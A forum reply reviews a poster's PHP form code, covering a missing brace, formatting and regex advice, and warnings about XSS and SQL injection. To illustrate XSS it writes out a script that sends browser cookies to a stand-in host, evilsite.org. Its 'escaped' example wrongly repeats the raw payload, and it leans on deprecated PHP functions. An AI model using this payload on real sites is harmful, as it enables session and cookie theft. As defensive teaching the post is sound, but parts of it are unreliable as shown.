the IF:
PHP Code:
if(isset($_POST['submit'])) {
isn't properly closed.
A few things about your code.
Try to format it better, one line IF's can harm readability if they are large in length, and also statements need to be properly indented.
Try to control the amount of white space used to separate different sections and your comments, whilst informative are very bulky and cloud the code, reducing them to one liners and removing comments from obvious code will help.
This excellent post by VillageIdiot will give you more information about formatting code.
Writing Clean Code
Also using preg_match instead of
eregi is faster:
PHP Code:
if(!preg_match("/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$/", $email)) {
die('you did not enter a valid email address, please check your spelling and try again<br><a href="javascript:history.back(-1)">go back</a>');
}
note i had to add the two expression delimeters '/' to the start and finish of the expression.
XSS/SQL INJECTION, the
addslashes isn't going to be enough to protect against XSS, and also if the data is going to be inputted into a database it also wont protect against SQL injection.
Remember: FIEO (Filter Input Escape Output)
Using
mysql_real_escape_string will protect you from SQL injection, whilst using something like
htmlentities to convert the special html tags to their entity codes would be a start, it would make this malicious code fail:
html Code:
<script>
new Image().src='http://evilsite.org?cookies='+ encodeURI(document.cookie);
</script>
would be converted to:
html Code:
<script>
new Image().src='http://evilsite.org?cookies='+ encodeURI(document.cookie);
</script>
And not executed by the browser.
Although its not fool proof by any means, its a start.
More info:
Chris Shiflett: Foiling Cross-Site Attacks
But to answer you question fully, there is a missing '}'.